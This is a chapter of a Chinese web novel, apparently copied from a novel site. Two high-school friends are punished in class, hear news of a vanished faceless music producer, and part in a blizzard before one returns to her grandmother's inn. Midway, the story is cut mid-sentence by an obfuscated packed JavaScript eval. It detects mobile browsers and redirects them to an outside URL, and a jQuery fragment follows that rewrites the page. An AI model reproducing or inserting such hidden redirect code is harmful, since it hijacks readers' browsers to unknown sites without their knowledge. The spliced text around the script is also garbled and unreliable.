那年冬天来得格外早,严寒比以往持续更久。
学校暖气很足,课堂上姜柚见昏昏欲睡,唯独同桌叶若精神抖擞,趁着语文老师回头写板书之际,轻轻用手中碰了碰她。
姜柚见回过神,掀起眼皮,对此司空见惯,看向叶若,无声问:怎么了?
叶若眉飞色舞,压低声音,“给你看个好东西。”
只见对方非常珍重小心地拿出一本叫《影音风尚》的杂志,上面好巧不巧,正是叶若最近最迷恋的新生代男团里一个长相俊美的少年。
叶若是个对一切都很感兴趣的人,除了学习。
姜柚见趁着老师转身板书之际,飞快瞟了一眼封面上那个将叶若迷得神魂颠倒的男人。
不禁白眼一翻。
敢情叫大伙出来就为这点事儿啊!
叶若双眼放光,爱惜地抚摸着封面上的白皙脸蛋,“你说我们零仁怎么能长这么帅啊……鹤立鸡群的帅,让人能一眼在一众明星中就看中他。”
零仁是一个叫Zero的男子组合里面的队长,人气很高,姜柚见对帅哥没什么研究,也能一眼辨认出零仁的脸放眼娱乐圈都是断层级别的。
“柚见!你看你看!他的鼻子长得好灵巧,应该很滑吧……”
姜柚见本来想提醒她,班主任课上别太得意忘形,可听到这比喻,脑海里不禁浮现了零仁好看的鼻子,变成幼儿园的象鼻滑梯的诡异景象……
就在这唯一走神的功夫。
“姜柚见!”一道严厉的目光射来,李碧华暂时压着怒火,平静道,“站起来说说我刚讲过的第三道题选什么?”
身旁,叶若早已把杂志藏进桌箱,双手交叠,挺胸抬头,安静如鸡。
不知道现实生活是不是有什么bug,始作俑者大发花痴的时候永远不会被老师逮到,反倒是姜柚见一走神就会被抓包。
幸好幸好,姜柚见镇定起身,扫了一眼,“选C选项……”
简短说了下思路,正准备功成身退坐下,谁知老师脸色更黑了。
“姜柚见,这道题还没讲到……”老师的声音幽幽响起。
完了,被诈了。
李碧红将试卷往讲桌上一扔,腾出手叉腰:“上课不专心听讲,高三的学生了还整天看那闲书!今天下午放学,留下来打扫教室卫生。”
冤枉啊……虽然不全冤。
姜柚见正欲自认倒霉,谁知刚才还缩成一团的叶若竟然突然“腾”一下站了起来,主动说:
“老师,都是我的错,我主动找柚见的,罚我吧。”
李碧华见到这景象,倒也没觉得稀奇,放下手中的试卷走了下来。
姜柚见在桌子底下轻轻踢了踢叶若的小腿,示意她闭嘴,这种事少罚一个是一个。
不过,这也是叶若的可爱之处,虽然成天不务正业,但是很讲义气。
“难兄难弟是吧,你也跑不了,放学和姜柚见一起扫,”话音刚落,李碧华余光扫了一眼户外,补了句,“连篮球场的一起。”
话音刚落,李碧华身形一闪,反应过来时为时已晚,那本没开封的《影音风尚》已经被李碧华轻巧抽了出来,淡淡说了句“没收了”。
叶若的大义凛然瞬间破功,看着零仁好看的脸被粗暴地折叠起来,欲哭无泪。
放学后,天色已经暗了。
雪越下越大,整个校园被压得寂静无声,只有篮球场那几盏老旧的路灯在风里摇晃。
天色暗下后学校幽深很符合易一些恐怖场景,让人浮想联翩,自己吓自己。
幸好有叶若陪着,姜柚见打了盆水擦黑板,下周要放假,放学暖气停了,温度散尽,双手一碰水就冻得通红,湿毛巾在手里几乎感知不到。
叶若裹着围巾,呼出一口白气,边扫边像个老头似的叹气:
“我们家零仁好不容易登一次封面,脸都没看两眼,悔啊……”
姜柚见笑着回她一句:“放心,你们家零仁会上更多封面的,下周估计老李就能把杂志还你。”
“老李不会这么仁慈的……”
这句话刚脱口而出,长廊传来了脚步声,原本应该早已下班的李碧华出现在门口:
“那啥,天太冷了,别扫了,赶紧回家吧。”
她俩面面厮觑,下一秒,眉开眼笑。
道谢声不绝于耳,李碧华不耐烦地摆摆手:“赶紧收拾书包走吧,最近可能有暴雪,路上小心。”
两人马不停特走出校门,生怕晚一秒被李碧华反悔叫回去。
一出校门,两人直奔对面小卖部买麻辣煮串,热乎乎的,很够味,放学买一碗捧在手心正好取暖。
老板缩在煤炉后烤火,电视机的雪花屏里隐约还能听到娱乐新闻:
“……目前,针对天才制作人奚临失踪一事的搜寻已陷入僵局。这位自出道起便从未公开真容、始终以面具或剪影示人的乐坛隐士,其行踪已成本月最大谜团……”
“知情人爆料其带走了未公开的样带,其所属公司将面临巨额损失,已派人前往全国各地可能的隐居点。”
“有粉丝声称在成田机场目击疑似奚临的身影登上飞往伦敦的航班,但也有乐评人坚信他从未回国,正闭关在多伦多的私人录音室。”
……
“这算什么目击啊?”
叶若气呼呼地咬了一口魔芋丝,听着电视里的描述,忍不住吐槽道,“外界就没人见过奚临的真容,穿个黑色帽衫就是奚临了?这些狗仔就会捕风捉影!”
气愤中,红油钻进鼻腔,把她辣的满脸通红,“啊……”
姜柚见没说话,点头附和,咬了一口被汤汁浸透的冻豆腐,辛辣直冲天灵盖,让她因寒冷而发僵的身体恢复了一点知觉。
零仁好歹还能认出来,受到了叶若的影响,奚临她就真的没听过了。
老板抄起火钳拨弄了一下煤炉里的红炭,火星噼啪跳跃,念叨道:
“这些大明星,活得跟保护动物似的,还能说丢就丢了。这个冬天这么冷,连老鼠都得冻死在洞里,他能跑哪去?”
叶若捧着那碗热气腾腾的麻辣串,脸蛋被熏得通红,不知是因为辣还是因为兴奋:“老板,您不懂!奚临这种天才,肯定是在寻找灵感!我还攒钱等着买他的新专辑!”
姜柚见用手肘捅捅她,“你不是喜欢零仁吗?这会儿移情别恋了?”
“我可是全能型追星美少女,”叶若理直气壮地挺起胸膛,顺手抹了一把嘴角的红油。
“零仁是我的本命,是我以后要嫁的人,但奚临……奚临那是神迹,是我得不到的白月光,他的曲和词都写得太绝了,这算艺术审美,不冲突!”
“作为骊镇上唯一的‘流行文化传播大使’,我有义务关注每一个天才的陨落与升起!”
姜柚见着叶若那副慷慨激昂的样子,忍不住递上一张粗糙的草纸,“大使,请擦嘴。”
身后,寒风掀起,雪下得愈发急了,天际线被远处的山脉吞噬,视野里只剩下那盏孤零零、在风中不安晃动的路灯。
“大使,再不走你妈该拿着扫帚来传播传统文化了。”姜柚见好心提醒道。
叶若“哎呀”一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271569|198121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声,这才回过神来,“走走走!赶紧回家!”
雪片大得像是鹅毛,又密又急,打在脸上生疼。刚才小卖部那点麻辣串的热气,很快就被这肆虐的风雪驱散得一干二净。
“今天的雪,老天爷是下了血本了啊……”叶若顶着风雪艰难开口,声音被风吹得有些模糊。
两人紧紧地挤在一起,试图抵御这突如其来的严寒。
姜柚见用围巾裹紧了半张脸,只露出眼睛。
她看着眼前那片模糊不清的白茫茫,路边的枯树在风中剧烈摇晃,发出剧烈的声响,仿佛随时都会被连根拔起。
家家户户都紧闭着门窗,偶尔从窗户里透出的灯光,也因为积雪和风沙显得影影绰绰。
“是啊。”姜柚见呼出一口白气,很快就被风吹散,“外婆说,这可能会是三十年来最大的降雪。”
待风小了,两人靠着屋檐下行走避雪。
“柚见,你说……奚临他现在会在哪里呢?”叶若突然又提起了那个名字,猜测道,“他会不会被冻死在哪个荒无人烟的地方啊……”
“还想这事儿呢……”
姜柚见险些背过气去,现在追星族都这么敬业啊。
她认真推测:“这种人如果真有心躲起来,应该不会想让任何人找到吧。”
叶若有些沮丧地跟了上去,“……也是。”
下周大雪封路,学校放假,两人站在姜柚见家门口,舍不得说再见,尽管也就一周不见。
叶若打开书包,将一块银色包装的块状物放到姜柚见手里,不放心地叮嘱道:
“我姐给我的巧克力,老金贵了,先提前藏好了半夜再吃,别让你表弟看到,到时候你又要让给他。”
“我给你的东西,不准让给他,听到了没有?”
姜柚见低头看向掌心,比普通巧克力更有重量,在这个连买本杂志都要去县城的小镇,这种精巧的甜食确实是一种奢侈品。
“知道了,我肯定偷着吃,连包装纸都毁尸灭迹。”姜柚见立刻摘下书包,把巧克力塞到最里面。
“这还差不多!”叶若吸了吸冻得通红的鼻子,用力挥了挥手,“记住了啊,下周要是雪停了,我就去你家找你!给你听奚临的专辑,我们一起给零仁多写应援信去!”
叶若的身影很快就消失在漫天席卷的白毛大雪中,只剩下深浅不一的脚印,在几秒钟内就被新落的雪花填平。
风雪在耳畔疯狂嘶吼,书包夹层那块巧克力很有存在感。
回到惜春旅馆时,黑暗早已降临。
屋内也是漆黑一片,镇上的供电系统很不稳定,一到刮风下雨就出状况。
整座老旧的木质旅馆像是匍匐在山脚的一条老狗,唯有柜台上一点如豆的煤油灯光,在寒风中摇曳着外婆苍老的身影。
“柚见?快,把这壶刚灌的热水给顶楼送去。”外婆苍老的声音从黑暗里传来,带着一丝掩不住的忧虑,“那客人下午就没动静了,这天寒地冻的,暖气也不好使,可别在咱们这儿冻出个好歹。”
姜柚见应了一声,赶紧放下书包,提起热水壶。
她摸黑踏上那架吱呀作响的独立木梯,凭借肌肉记忆上楼。
往日楼道都是老房子陈旧的木头味,今日却夹杂了带些微苦的松木香,顺着楼梯,若有似无地缠绕。
这大概是陌生人带来的气息。
这个旅馆,好久没人来了。
或许说,这个小镇……
新客人她还未见过,而此时,那人正与这场三十年一遇的暴雪在这个远离俗世的小镇共枕。